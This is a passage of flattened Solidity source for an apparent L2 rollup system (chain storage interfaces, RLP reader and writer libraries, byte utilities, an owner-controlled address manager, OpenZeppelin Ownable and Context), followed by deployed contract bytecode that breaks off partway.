Lib_OVMCodec.QueueElement calldata _object ) external; function setBatchGlobalMetadataByChainId( uint256 _chainId, bytes27 _globalMetadata ) external; function getBatchGlobalMetadataByChainId(uint256 _chainId) external view returns ( bytes27 ); function lengthBatchByChainId(uint256 _chainId) external view returns ( uint256 ); function pushBatchByChainId( uint256 _chainId, bytes32 _object, bytes27 _globalMetadata ) external; function setBatchByChainId( uint256 _chainId, uint256 _index, bytes32 _object ) external; function getBatchByChainId( uint256 _chainId, uint256 _index ) external view returns ( bytes32 ); function deleteBatchElementsAfterInclusiveByChainId( uint256 _chainId, uint256 _index, bytes27 _globalMetadata ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title IBondManager */ interface IBondManager { /******************** * Public Functions * ********************/ function isCollateralized(address _who) external view returns (bool); function isCollateralizedByChainId( uint256 _chainId, address _who, address _prop ) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.9.0; /** * @title IChainStorageContainer */ interface IChainStorageContainer { /******************** * Public Functions * ********************/ /** * Sets the container's global metadata field. We're using `bytes27` here because we use five * bytes to maintain the length of the underlying data structure, meaning we have an extra * 27 bytes to store arbitrary data. * @param _globalMetadata New global metadata to set. */ function setGlobalMetadata(bytes27 _globalMetadata) external; /** * Retrieves the container's global metadata field. * @return Container global metadata field. */ function getGlobalMetadata() external view returns (bytes27); /** * Retrieves the number of objects stored in the container. * @return Number of objects in the container. */ function length() external view returns (uint256); /** * Pushes an object into the container. * @param _object A 32 byte value to insert into the container. */ function push(bytes32 _object) external; /** * Pushes an object into the container. Function allows setting the global metadata since * we'll need to touch the "length" storage slot anyway, which also contains the global * metadata (it's an optimization). * @param _object A 32 byte value to insert into the container. * @param _globalMetadata New global metadata for the container. */ function push(bytes32 _object, bytes27 _globalMetadata) external; /** * Set an object into the container. Function allows setting the global metadata since * we'll need to touch the "length" storage slot anyway, which also contains the global * metadata (it's an optimization). * @param _index position. * @param _object A 32 byte value to insert into the container. */ function setByChainId( uint256 _chainId, uint256 _index, bytes32 _object ) external; /** * Retrieves an object from the container. * @param _index Index of the particular object to access. * @return 32 byte object value. */ function get(uint256 _index) external view returns (bytes32); /** * Removes all objects after and including a given index. * @param _index Object index to delete from. */ function deleteElementsAfterInclusive(uint256 _index) external; /** * Removes all objects after and including a given index. Also allows setting the global * metadata field. * @param _index Object index to delete from. * @param _globalMetadata New global metadata for the container. */ function deleteElementsAfterInclusive(uint256 _index, bytes27 _globalMetadata) external; /** * Sets the container's global metadata field. We're using `bytes27` here because we use five * bytes to maintain the length of the underlying data structure, meaning we have an extra * 27 bytes to store arbitrary data. * @param _chainId identity for the l2 chain. * @param _globalMetadata New global metadata to set. */ function setGlobalMetadataByChainId( uint256 _chainId, bytes27 _globalMetadata ) external; /** * Retrieves the container's global metadata field. * @param _chainId identity for the l2 chain. * @return Container global metadata field. */ function getGlobalMetadataByChainId( uint256 _chainId ) external view returns ( bytes27 ); /** * Retrieves the number of objects stored in the container. * @param _chainId identity for the l2 chain. * @return Number of objects in the container. */ function lengthByChainId( uint256 _chainId ) external view returns ( uint256 ); /** * Pushes an object into the container. * @param _chainId identity for the l2 chain. * @param _object A 32 byte value to insert into the container. */ function pushByChainId( uint256 _chainId, bytes32 _object ) external; /** * Pushes an object into the container. Function allows setting the global metadata since * we'll need to touch the "length" storage slot anyway, which also contains the global * metadata (it's an optimization). * @param _chainId identity for the l2 chain. * @param _object A 32 byte value to insert into the container. * @param _globalMetadata New global metadata for the container. */ function pushByChainId( uint256 _chainId, bytes32 _object, bytes27 _globalMetadata ) external; /** * Retrieves an object from the container. * @param _chainId identity for the l2 chain. * @param _index Index of the particular object to access. * @return 32 byte object value. */ function getByChainId( uint256 _chainId, uint256 _index ) external view returns ( bytes32 ); /** * Removes all objects after and including a given index. * @param _chainId identity for the l2 chain. * @param _index Object index to delete from. */ function deleteElementsAfterInclusiveByChainId( uint256 _chainId, uint256 _index ) external; /** * Removes all objects after and including a given index. Also allows setting the global * metadata field. * @param _chainId identity for the l2 chain. * @param _index Object index to delete from. * @param _globalMetadata New global metadata for the container. */ function deleteElementsAfterInclusiveByChainId( uint256 _chainId, uint256 _index, bytes27 _globalMetadata ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title Lib_RLPReader * @dev Adapted from "RLPReader" by Hamdi Allam ([email protected]). */ library Lib_RLPReader { /************* * Constants * *************/ uint256 internal constant MAX_LIST_LENGTH = 32; /********* * Enums * *********/ enum RLPItemType { DATA_ITEM, LIST_ITEM } /*********** * Structs * ***********/ struct RLPItem { uint256 length; uint256 ptr; } /********************** * Internal Functions * **********************/ /** * Converts bytes to a reference to memory position and length. * @param _in Input bytes to convert. * @return Output memory reference. */ function toRLPItem(bytes memory _in) internal pure returns (RLPItem memory) { uint256 ptr; assembly { ptr := add(_in, 32) } return RLPItem({ length: _in.length, ptr: ptr }); } /** * Reads an RLP list value into a list of RLP items. * @param _in RLP list value. * @return Decoded RLP list items. */ function readList(RLPItem memory _in) internal pure returns (RLPItem[] memory) { (uint256 listOffset, , RLPItemType itemType) = _decodeLength(_in); require(itemType == RLPItemType.LIST_ITEM, "Invalid RLP list value."); // Solidity in-memory arrays can't be increased in size, but *can* be decreased in size by // writing to the length. Since we can't know the number of RLP items without looping over // the entire input, we'd have to loop twice to accurately size this array. It's easier to // simply set a reasonable maximum list length and decrease the size before we finish. RLPItem[] memory out = new RLPItem[](MAX_LIST_LENGTH); uint256 itemCount = 0; uint256 offset = listOffset; while (offset < _in.length) { require(itemCount < MAX_LIST_LENGTH, "Provided RLP list exceeds max list length."); (uint256 itemOffset, uint256 itemLength, ) = _decodeLength( RLPItem({ length: _in.length - offset, ptr: _in.ptr + offset }) ); out[itemCount] = RLPItem({ length: itemLength + itemOffset, ptr: _in.ptr + offset }); itemCount += 1; offset += itemOffset + itemLength; } // Decrease the array size to match the actual item count. assembly { mstore(out, itemCount) } return out; } /** * Reads an RLP list value into a list of RLP items. * @param _in RLP list value. * @return Decoded RLP list items. */ function readList(bytes memory _in) internal pure returns (RLPItem[] memory) { return readList(toRLPItem(_in)); } /** * Reads an RLP bytes value into bytes. * @param _in RLP bytes value. * @return Decoded bytes. */ function readBytes(RLPItem memory _in) internal pure returns (bytes memory) { (uint256 itemOffset, uint256 itemLength, RLPItemType itemType) = _decodeLength(_in); require(itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes value."); return _copy(_in.ptr, itemOffset, itemLength); } /** * Reads an RLP bytes value into bytes. * @param _in RLP bytes value. * @return Decoded bytes. */ function readBytes(bytes memory _in) internal pure returns (bytes memory) { return readBytes(toRLPItem(_in)); } /** * Reads an RLP string value into a string. * @param _in RLP string value. * @return Decoded string. */ function readString(RLPItem memory _in) internal pure returns (string memory) { return string(readBytes(_in)); } /** * Reads an RLP string value into a string. * @param _in RLP string value. * @return Decoded string. */ function readString(bytes memory _in) internal pure returns (string memory) { return readString(toRLPItem(_in)); } /** * Reads an RLP bytes32 value into a bytes32. * @param _in RLP bytes32 value. * @return Decoded bytes32. */ function readBytes32(RLPItem memory _in) internal pure returns (bytes32) { require(_in.length <= 33, "Invalid RLP bytes32 value."); (uint256 itemOffset, uint256 itemLength, RLPItemType itemType) = _decodeLength(_in); require(itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes32 value."); uint256 ptr = _in.ptr + itemOffset; bytes32 out; assembly { out := mload(ptr) // Shift the bytes over to match the item size. if lt(itemLength, 32) { out := div(out, exp(256, sub(32, itemLength))) } } return out; } /** * Reads an RLP bytes32 value into a bytes32. * @param _in RLP bytes32 value. * @return Decoded bytes32. */ function readBytes32(bytes memory _in) internal pure returns (bytes32) { return readBytes32(toRLPItem(_in)); } /** * Reads an RLP uint256 value into a uint256. * @param _in RLP uint256 value. * @return Decoded uint256. */ function readUint256(RLPItem memory _in) internal pure returns (uint256) { return uint256(readBytes32(_in)); } /** * Reads an RLP uint256 value into a uint256. * @param _in RLP uint256 value. * @return Decoded uint256. */ function readUint256(bytes memory _in) internal pure returns (uint256) { return readUint256(toRLPItem(_in)); } /** * Reads an RLP bool value into a bool. * @param _in RLP bool value. * @return Decoded bool. */ function readBool(RLPItem memory _in) internal pure returns (bool) { require(_in.length == 1, "Invalid RLP boolean value."); uint256 ptr = _in.ptr; uint256 out; assembly { out := byte(0, mload(ptr)) } require(out == 0 || out == 1, "Lib_RLPReader: Invalid RLP boolean value, must be 0 or 1"); return out != 0; } /** * Reads an RLP bool value into a bool. * @param _in RLP bool value. * @return Decoded bool. */ function readBool(bytes memory _in) internal pure returns (bool) { return readBool(toRLPItem(_in)); } /** * Reads an RLP address value into a address. * @param _in RLP address value. * @return Decoded address. */ function readAddress(RLPItem memory _in) internal pure returns (address) { if (_in.length == 1) { return address(0); } require(_in.length == 21, "Invalid RLP address value."); return address(uint160(readUint256(_in))); } /** * Reads an RLP address value into a address. * @param _in RLP address value. * @return Decoded address. */ function readAddress(bytes memory _in) internal pure returns (address) { return readAddress(toRLPItem(_in)); } /** * Reads the raw bytes of an RLP item. * @param _in RLP item to read. * @return Raw RLP bytes. */ function readRawBytes(RLPItem memory _in) internal pure returns (bytes memory) { return _copy(_in); } /********************* * Private Functions * *********************/ /** * Decodes the length of an RLP item. * @param _in RLP item to decode. * @return Offset of the encoded data. * @return Length of the encoded data. * @return RLP item type (LIST_ITEM or DATA_ITEM). */ function _decodeLength(RLPItem memory _in) private pure returns ( uint256, uint256, RLPItemType ) { require(_in.length > 0, "RLP item cannot be null."); uint256 ptr = _in.ptr; uint256 prefix; assembly { prefix := byte(0, mload(ptr)) } if (prefix <= 0x7f) { // Single byte. return (0, 1, RLPItemType.DATA_ITEM); } else if (prefix <= 0xb7) { // Short string. uint256 strLen = prefix - 0x80; require(_in.length > strLen, "Invalid RLP short string."); return (1, strLen, RLPItemType.DATA_ITEM); } else if (prefix <= 0xbf) { // Long string. uint256 lenOfStrLen = prefix - 0xb7; require(_in.length > lenOfStrLen, "Invalid RLP long string length."); uint256 strLen; assembly { // Pick out the string length. strLen := div(mload(add(ptr, 1)), exp(256, sub(32, lenOfStrLen))) } require(_in.length > lenOfStrLen + strLen, "Invalid RLP long string."); return (1 + lenOfStrLen, strLen, RLPItemType.DATA_ITEM); } else if (prefix <= 0xf7) { // Short list. uint256 listLen = prefix - 0xc0; require(_in.length > listLen, "Invalid RLP short list."); return (1, listLen, RLPItemType.LIST_ITEM); } else { // Long list. uint256 lenOfListLen = prefix - 0xf7; require(_in.length > lenOfListLen, "Invalid RLP long list length."); uint256 listLen; assembly { // Pick out the list length. listLen := div(mload(add(ptr, 1)), exp(256, sub(32, lenOfListLen))) } require(_in.length > lenOfListLen + listLen, "Invalid RLP long list."); return (1 + lenOfListLen, listLen, RLPItemType.LIST_ITEM); } } /** * Copies the bytes from a memory location. * @param _src Pointer to the location to read from. * @param _offset Offset to start reading from. * @param _length Number of bytes to read. * @return Copied bytes. */ function _copy( uint256 _src, uint256 _offset, uint256 _length ) private pure returns (bytes memory) { bytes memory out = new bytes(_length); if (out.length == 0) { return out; } uint256 src = _src + _offset; uint256 dest; assembly { dest := add(out, 32) } // Copy over as many complete words as we can. for (uint256 i = 0; i < _length / 32; i++) { assembly { mstore(dest, mload(src)) } src += 32; dest += 32; } // Pick out the remaining bytes. uint256 mask; unchecked { mask = 256**(32 - (_length % 32)) - 1; } assembly { mstore(dest, or(and(mload(src), not(mask)), and(mload(dest), mask))) } return out; } /** * Copies an RLP item into bytes. * @param _in RLP item to copy. * @return Copied bytes. */ function _copy(RLPItem memory _in) private pure returns (bytes memory) { return _copy(_in.ptr, 0, _in.length); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title Lib_RLPWriter * @author Bakaoh (with modifications) */ library Lib_RLPWriter { /********************** * Internal Functions * **********************/ /** * RLP encodes a byte string. * @param _in The byte string to encode. * @return The RLP encoded string in bytes. */ function writeBytes(bytes memory _in) internal pure returns (bytes memory) { bytes memory encoded; if (_in.length == 1 && uint8(_in[0]) < 128) { encoded = _in; } else { encoded = abi.encodePacked(_writeLength(_in.length, 128), _in); } return encoded; } /** * RLP encodes a list of RLP encoded byte byte strings. * @param _in The list of RLP encoded byte strings. * @return The RLP encoded list of items in bytes. */ function writeList(bytes[] memory _in) internal pure returns (bytes memory) { bytes memory list = _flatten(_in); return abi.encodePacked(_writeLength(list.length, 192), list); } /** * RLP encodes a string. * @param _in The string to encode. * @return The RLP encoded string in bytes. */ function writeString(string memory _in) internal pure returns (bytes memory) { return writeBytes(bytes(_in)); } /** * RLP encodes an address. * @param _in The address to encode. * @return The RLP encoded address in bytes. */ function writeAddress(address _in) internal pure returns (bytes memory) { return writeBytes(abi.encodePacked(_in)); } /** * RLP encodes a uint. * @param _in The uint256 to encode. * @return The RLP encoded uint256 in bytes. */ function writeUint(uint256 _in) internal pure returns (bytes memory) { return writeBytes(_toBinary(_in)); } /** * RLP encodes a bool. * @param _in The bool to encode. * @return The RLP encoded bool in bytes. */ function writeBool(bool _in) internal pure returns (bytes memory) { bytes memory encoded = new bytes(1); encoded[0] = (_in ? bytes1(0x01) : bytes1(0x80)); return encoded; } /********************* * Private Functions * *********************/ /** * Encode the first byte, followed by the `len` in binary form if `length` is more than 55. * @param _len The length of the string or the payload. * @param _offset 128 if item is string, 192 if item is list. * @return RLP encoded bytes. */ function _writeLength(uint256 _len, uint256 _offset) private pure returns (bytes memory) { bytes memory encoded; if (_len < 56) { encoded = new bytes(1); encoded[0] = bytes1(uint8(_len) + uint8(_offset)); } else { uint256 lenLen; uint256 i = 1; while (_len / i != 0) { lenLen++; i *= 256; } encoded = new bytes(lenLen + 1); encoded[0] = bytes1(uint8(lenLen) + uint8(_offset) + 55); for (i = 1; i <= lenLen; i++) { encoded[i] = bytes1(uint8((_len / (256**(lenLen - i))) % 256)); } } return encoded; } /** * Encode integer in big endian binary form with no leading zeroes. * @notice TODO: This should be optimized with assembly to save gas costs. * @param _x The integer to encode. * @return RLP encoded bytes. */ function _toBinary(uint256 _x) private pure returns (bytes memory) { bytes memory b = abi.encodePacked(_x); uint256 i = 0; for (; i < 32; i++) { if (b[i] != 0) { break; } } bytes memory res = new bytes(32 - i); for (uint256 j = 0; j < res.length; j++) { res[j] = b[i++]; } return res; } /** * Copies a piece of memory to another location. * @notice From: https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol. * @param _dest Destination location. * @param _src Source location. * @param _len Length of memory to copy. */ function _memcpy( uint256 _dest, uint256 _src, uint256 _len ) private pure { uint256 dest = _dest; uint256 src = _src; uint256 len = _len; for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint256 mask; unchecked { mask = 256**(32 - len) - 1; } assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /** * Flattens a list of byte strings into one byte string. * @notice From: https://github.com/sammayo/solidity-rlp-encoder/blob/master/RLPEncode.sol. * @param _list List of byte strings to flatten. * @return The flattened byte string. */ function _flatten(bytes[] memory _list) private pure returns (bytes memory) { if (_list.length == 0) { return new bytes(0); } uint256 len; uint256 i = 0; for (; i < _list.length; i++) { len += _list[i].length; } bytes memory flattened = new bytes(len); uint256 flattenedPtr; assembly { flattenedPtr := add(flattened, 0x20) } for (i = 0; i < _list.length; i++) { bytes memory item = _list[i]; uint256 listPtr; assembly { listPtr := add(item, 0x20) } _memcpy(flattenedPtr, listPtr, item.length); flattenedPtr += _list[i].length; } return flattened; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title Lib_BytesUtils */ library Lib_BytesUtils { /********************** * Internal Functions * **********************/ function slice( bytes memory _bytes, uint256 _start, uint256 _length ) internal pure returns (bytes memory) { require(_length + 31 >= _length, "slice_overflow"); require(_start + _length >= _start, "slice_overflow"); require(_bytes.length >= _start + _length, "slice_outOfBounds"); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) //zero out the 32 bytes slice we are about to return //we need to do it because Solidity does not garbage collect mstore(tempBytes, 0) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function slice(bytes memory _bytes, uint256 _start) internal pure returns (bytes memory) { if (_start >= _bytes.length) { return bytes(""); } return slice(_bytes, _start, _bytes.length - _start); } function toBytes32(bytes memory _bytes) internal pure returns (bytes32) { if (_bytes.length < 32) { bytes32 ret; assembly { ret := mload(add(_bytes, 32)) } return ret; } return abi.decode(_bytes, (bytes32)); // will truncate if input length > 32 bytes } function toUint256(bytes memory _bytes) internal pure returns (uint256) { return uint256(toBytes32(_bytes)); } function toNibbles(bytes memory _bytes) internal pure returns (bytes memory) { bytes memory nibbles = new bytes(_bytes.length * 2); for (uint256 i = 0; i < _bytes.length; i++) { nibbles[i * 2] = _bytes[i] >> 4; nibbles[i * 2 + 1] = bytes1(uint8(_bytes[i]) % 16); } return nibbles; } function fromNibbles(bytes memory _bytes) internal pure returns (bytes memory) { bytes memory ret = new bytes(_bytes.length / 2); for (uint256 i = 0; i < ret.length; i++) { ret[i] = (_bytes[i * 2] << 4) | (_bytes[i * 2 + 1]); } return ret; } function equal(bytes memory _bytes, bytes memory _other) internal pure returns (bool) { return keccak256(_bytes) == keccak256(_other); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title Lib_Byte32Utils */ library Lib_Bytes32Utils { /********************** * Internal Functions * **********************/ /** * Converts a bytes32 value to a boolean. Anything non-zero will be converted to "true." * @param _in Input bytes32 value. * @return Bytes32 as a boolean. */ function toBool(bytes32 _in) internal pure returns (bool) { return _in != 0; } /** * Converts a boolean to a bytes32 value. * @param _in Input boolean value. * @return Boolean as a bytes32. */ function fromBool(bool _in) internal pure returns (bytes32) { return bytes32(uint256(_in ? 1 : 0)); } /** * Converts a bytes32 value to an address. Takes the *last* 20 bytes. * @param _in Input bytes32 value. * @return Bytes32 as an address. */ function toAddress(bytes32 _in) internal pure returns (address) { return address(uint160(uint256(_in))); } /** * Converts an address to a bytes32. * @param _in Input address value. * @return Address as a bytes32. */ function fromAddress(address _in) internal pure returns (bytes32) { return bytes32(uint256(uint160(_in))); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /* External Imports */ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Lib_AddressManager */ contract Lib_AddressManager is Ownable { /********** * Events * **********/ event AddressSet(string indexed _name, address _newAddress, address _oldAddress); /************* * Variables * *************/ mapping(bytes32 => address) private addresses; /******************** * Public Functions * ********************/ /** * Changes the address associated with a particular name. * @param _name String name to associate an address with. * @param _address Address to associate with the name. */ function setAddress(string memory _name, address _address) external onlyOwner { bytes32 nameHash = _getNameHash(_name); address oldAddress = addresses[nameHash]; addresses[nameHash] = _address; emit AddressSet(_name, _address, oldAddress); } /** * Retrieves the address associated with a given name. * @param _name Name to retrieve an address for. * @return Address associated with the given name. */ function getAddress(string memory _name) external view returns (address) { return addresses[_getNameHash(_name)]; } /********************** * Internal Functions * **********************/ /** * Computes the hash of a name. * @param _name Name to compute a hash for. * @return Hash of the given name. */ function _getNameHash(string memory _name) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_name)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x608060405234801561001057600080fd5b50600436106101775760003560e01c806381eb62ef116100d8578063ab59f7b81161008c578063cfdf677e11610066578063cfdf677e146102f5578063d710083f146102fd578063e561dddc1461031057600080fd5b8063ab59f7b8146102c6578063b8e189ac146102d9578063c17b291b146102ec57600080fd5b80638c7de742116100bd5780638c7de7421461028d5780638ca5cbb9146102a05780639418bddd146102b357600080fd5b806381eb62ef146102715780638a52e6221461027a57600080fd5b80635cb583741161012f5780637aa63a86116101145780637aa63a861461024e5780637ad168a01461025657806380931e371461025e57600080fd5b80635cb58374146102285780636d3454bf1461023b57600080fd5b8063461a447811610160578063461a4478146101db5780634d69ee57146101ee5780635bbbb7ed1461021157600080fd5b8063299ca4781461017c5780632ab65ec7146101c6575b600080fd5b60005461019c9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020015b60405180910390f35b6101d96101d4366004611ffe565b610318565b005b61019c6101e9366004612045565b6104cf565b6102016101fc36600461217d565b61057c565b60405190151581526020016101bd565b61021a60035481565b6040519081526020016101bd565b61021a6102363660046121ea565b610594565b610201610249366004611ffe565b6105af565b61021a610658565b61021a61066a565b61020161026c366004612203565b610677565b61021a60025481565b61021a6102883660046121ea565b610743565b61021a61029b3660046121ea565b61075e565b6101d96102ae36600461227a565b6107f2565b6102016102c13660046122bf565b61083a565b6101d96102d43660046121ea565b6108e2565b6101d96102e73660046122bf565b61099f565b61021a60015481565b61019c6109ae565b6101d961030b36600461233d565b6109d1565b61021a610e49565b61034861032483610e56565b6040516020016103349190612421565b6040516020818303038152906040526104cf565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103ed5760405162461bcd60e51b815260206004820152603b60248201527f537461746520626174636865732063616e206f6e6c792062652064656c65746560448201527f6420627920746865204d564d5f467261756456657269666965722e000000000060648201526084015b60405180910390fd5b6103f78282610fb3565b6104435760405162461bcd60e51b815260206004820152601560248201527f496e76616c6964206261746368206865616465722e000000000000000000000060448201526064016103e4565b61044d82826105af565b6104c1576040805162461bcd60e51b81526020600482015260248101919091527f537461746520626174636865732063616e206f6e6c792062652064656c65746560448201527f642077697468696e207468652066726175642070726f6f662077696e646f772e60648201526084016103e4565b6104cb8282611078565b5050565b600080546040517fbf40fac100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063bf40fac1906105269085906004016124ac565b60206040518083038186803b15801561053e57600080fd5b505afa158015610552573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057691906124e1565b92915050565b600061058c600354858585610677565b949350505050565b6000806105a0836112ca565b64ffffffffff16949350505050565b60008082608001518060200190518101906105ca91906124fe565b509050806106405760405162461bcd60e51b815260206004820152602560248201527f4261746368206865616465722074696d657374616d702063616e6e6f7420626560448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016103e4565b426001548261064f919061255d565b11949350505050565b6000610665600354610743565b905090565b6000610665600354610594565b60006106838584610fb3565b6106cf5760405162461bcd60e51b815260206004820152601560248201527f496e76616c6964206261746368206865616465722e000000000000000000000060448201526064016103e4565b6106ec83602001518584600001518560200151876040015161137c565b6107385760405162461bcd60e51b815260206004820152601860248201527f496e76616c696420696e636c7573696f6e2070726f6f662e000000000000000060448201526064016103e4565b506001949350505050565b60008061074f836112ca565b5064ffffffffff169392505050565b60006107686109ae565b73ffffffffffffffffffffffffffffffffffffffff1663576f2588836040518263ffffffff1660e01b81526004016107a291815260200190565b60206040518083038186803b1580156107ba57600080fd5b505afa1580156107ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105769190612575565b60405162461bcd60e51b815260206004820152600960248201527f646f6e277420757365000000000000000000000000000000000000000000000060448201526064016103e4565b600080826080015180602001905181019061085591906124fe565b509050806108cb5760405162461bcd60e51b815260206004820152602560248201527f4261746368206865616465722074696d657374616d702063616e6e6f7420626560448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016103e4565b42600154826108da919061255d565b119392505050565b6109206040518060400160405280600d81526020017f4d455449535f4d414e41474552000000000000000000000000000000000000008152506104cf565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461099a5760405162461bcd60e51b815260206004820152600b60248201527f6e6f7720616c6c6f77656400000000000000000000000000000000000000000060448201526064016103e4565b600155565b6109ab60035482610318565b50565b6000610665604051806060016040528060218152602001612785602191396104cf565b6109da86610743565b8314610a4e5760405162461bcd60e51b815260206004820152603d60248201527f41637475616c20626174636820737461727420696e64657820646f6573206e6f60448201527f74206d6174636820657870656374656420737461727420696e6465782e00000060648201526084016103e4565b6000610a8f83838080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506104cf92505050565b9050610acf6040518060400160405280600b81526020017f426f6e644d616e616765720000000000000000000000000000000000000000008152506104cf565b6040517ff3b96f1c0000000000000000000000000000000000000000000000000000000081526004810189905233602482015273ffffffffffffffffffffffffffffffffffffffff8381166044830152919091169063f3b96f1c9060640160206040518083038186803b158015610b4557600080fd5b505afa158015610b59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7d919061258e565b610bef5760405162461bcd60e51b815260206004820152602f60248201527f50726f706f73657220646f6573206e6f74206861766520656e6f75676820636f60448201527f6c6c61746572616c20706f73746564000000000000000000000000000000000060648201526084016103e4565b84610c625760405162461bcd60e51b815260206004820152602360248201527f43616e6e6f74207375626d697420616e20656d7074792073746174652062617460448201527f63682e000000000000000000000000000000000000000000000000000000000060648201526084016103e4565b610ca06040518060400160405280601981526020017f43616e6f6e6963616c5472616e73616374696f6e436861696e000000000000008152506104cf565b73ffffffffffffffffffffffffffffffffffffffff16638a52e622886040518263ffffffff1660e01b8152600401610cda91815260200190565b60206040518083038186803b158015610cf257600080fd5b505afa158015610d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2a9190612575565b85610d3489610743565b610d3e919061255d565b1115610dd85760405162461bcd60e51b815260206004820152604960248201527f4e756d626572206f6620737461746520726f6f74732063616e6e6f742065786360448201527f65656420746865206e756d626572206f662063616e6f6e6963616c207472616e60648201527f73616374696f6e732e0000000000000000000000000000000000000000000000608482015260a4016103e4565b610e4087878780806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506040805142602082015233918101919091526060019150610e2b9050565b604051602081830303815290604052846115ea565b50505050505050565b600061066560035461075e565b606081610e9657505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115610ec05780610eaa816125b0565b9150610eb99050600a83612618565b9150610e9a565b60008167ffffffffffffffff811115610edb57610edb611e69565b6040519080825280601f01601f191660200182016040528015610f05576020820181803683370190505b509050815b8515610faa57610f1b60018261262c565b90506000610f2a600a88612618565b610f3590600a612643565b610f3f908861262c565b610f4a906030612680565b905060008160f81b905080848481518110610f6757610f676126a5565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350610fa1600a89612618565b97505050610f0a565b50949350505050565b6000610fbd6109ae565b82516040517f67d18b9b00000000000000000000000000000000000000000000000000000000815260048101869052602481019190915273ffffffffffffffffffffffffffffffffffffffff91909116906367d18b9b9060440160206040518083038186803b15801561102f57600080fd5b505afa158015611043573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110679190612575565b6110708361185c565b149392505050565b6110806109ae565b73ffffffffffffffffffffffffffffffffffffffff1663576f2588836040518263ffffffff1660e01b81526004016110ba91815260200190565b60206040518083038186803b1580156110d257600080fd5b505afa1580156110e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110a9190612575565b8151106111595760405162461bcd60e51b815260206004820152601460248201527f496e76616c696420626174636820696e6465782e00000000